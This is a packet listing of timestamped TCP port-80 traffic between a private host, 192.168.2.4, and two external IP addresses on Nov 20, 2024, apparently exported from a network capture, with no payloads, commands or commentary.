Nov 20, 2024 04:08:17.271626949 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.271657944 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.271661997 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.271687031 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.271696091 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.271711111 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.271735907 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.314753056 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.314790964 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.314824104 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.314857006 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.314892054 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.314946890 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.314961910 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.315021038 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.315052986 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.315080881 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.315087080 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.315116882 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.315135956 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.315150023 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.315185070 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.315203905 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.315218925 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.315254927 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.315274954 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.315288067 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.315340996 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.315356970 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.315377951 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.315411091 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.315433979 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.315443039 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.315476894 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.315488100 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.315511942 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.315546036 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.315562010 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.315579891 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.315613031 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.315627098 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.315644026 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.315676928 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.315689087 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.315711975 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.315715075 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.315728903 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.315746069 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.315785885 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.315800905 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.315819979 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.315854073 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.315871000 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.315902948 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.324016094 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.324048042 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.324084044 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.324156046 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.324250937 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.324302912 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.324337006 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.324357033 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.324371099 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.324405909 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.324421883 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.324440002 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.324474096 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.324489117 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.324507952 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.324541092 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.324557066 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.324587107 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.324621916 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.324640036 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.324671030 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.324722052 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.324722052 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.326056004 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.327404976 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.327455044 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.327483892 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.327534914 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.327553034 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.327568054 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.327593088 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.327619076 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.327668905 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.327672005 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.327719927 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.327754021 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.327770948 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.327784061 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.327816010 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.327842951 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.327851057 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.327884912 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.327908993 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.327920914 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.327955008 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.327972889 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.328003883 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.328042030 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.328058958 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.329459906 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.329488993 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.329520941 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.329556942 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.329606056 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.329612017 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.329660892 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.329694033 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.329747915 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.329781055 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.329814911 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.329838991 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.329874039 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.329894066 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.329895973 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.329929113 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.329950094 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.329963923 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.329998970 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.330034018 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.330060959 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.330123901 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.332887888 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.332923889 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.332957983 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.332990885 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.333013058 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.333025932 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.333060026 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.333077908 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.333095074 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.333128929 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.333175898 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.334779978 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.334809065 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.334841013 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.334861994 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.334897995 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.334918022 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.334948063 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.334983110 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.335001945 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.335016966 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.335052967 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.335071087 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.335853100 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.335905075 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.335915089 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.336000919 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.336034060 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.336067915 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.336102009 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.336108923 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.336133003 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.336163044 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.336191893 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.336219072 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.336226940 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.336261988 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.336282969 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.336312056 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.336345911 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.336380005 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.336400032 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.336412907 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.336450100 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.336464882 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.336508036 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.338371038 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.338462114 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.338490963 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.338516951 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.338541985 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.338576078 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.338608980 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.338644028 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.338677883 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.338696003 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.338728905 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.340504885 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.340538979 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.340574026 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.340605974 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.340639114 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.340652943 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.340652943 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.340672970 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.340709925 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.340724945 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.340753078 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.340806007 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.341301918 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.342236996 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.342310905 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.342374086 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.342381001 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.342427015 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.342461109 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.342483044 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.342495918 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.342544079 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.342545033 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.342580080 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.342628956 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.342632055 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.342681885 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.342711926 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.342730999 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.342749119 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.342782974 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.342801094 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.342818022 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.342853069 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.342869997 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.342888117 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.342943907 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.350512981 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.356023073 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.356116056 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.356133938 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.356146097 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.356167078 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.356182098 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.356189966 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.356240034 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.356246948 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.356292963 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.356319904 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.356333017 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.356344938 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.356394053 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.356398106 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.356432915 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.356483936 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.356507063 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.356518984 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.356535912 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.356554031 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.356585026 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.356621981 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.356623888 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.356668949 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.356678963 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.356715918 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.356756926 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.356790066 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.356817961 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.356823921 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.356836081 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.356865883 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.356878996 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.356928110 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.356930017 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.356961966 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.356978893 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.357000113 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.357011080 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.357033968 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.357045889 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.357085943 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.357119083 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.357151985 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.357156038 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.357175112 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.357192993 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.357203007 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.357238054 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.357259035 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.357289076 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.357306957 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.357325077 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.357358932 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.357378006 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.357389927 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.357413054 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.357435942 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.357455969 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.357460976 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.357496023 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.357511997 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.357530117 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.357541084 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.357580900 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.357633114 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.357659101 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.357681990 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.357682943 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.357713938 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.357759953 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.357762098 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.357795000 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.357810974 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.357829094 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.357835054 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.357880116 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.357881069 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.357932091 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.357965946 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.357994080 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.358000040 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.358001947 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.358035088 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.358045101 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.358086109 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.358098030 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.358122110 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.358133078 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.358167887 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.358169079 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.358203888 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.358253956 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.358257055 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.358290911 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.358325005 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.358351946 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.358351946 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.358359098 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.358367920 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.358393908 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.358407974 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.358428955 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.358443975 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.358463049 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.358488083 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.358498096 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.358524084 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.358531952 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.358546019 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.358566046 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.358582973 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.358599901 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.358633995 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.358647108 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.358669043 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.358701944 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.358720064 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.358720064 CET	62476	80	192.168.2.4	185.215.113.16
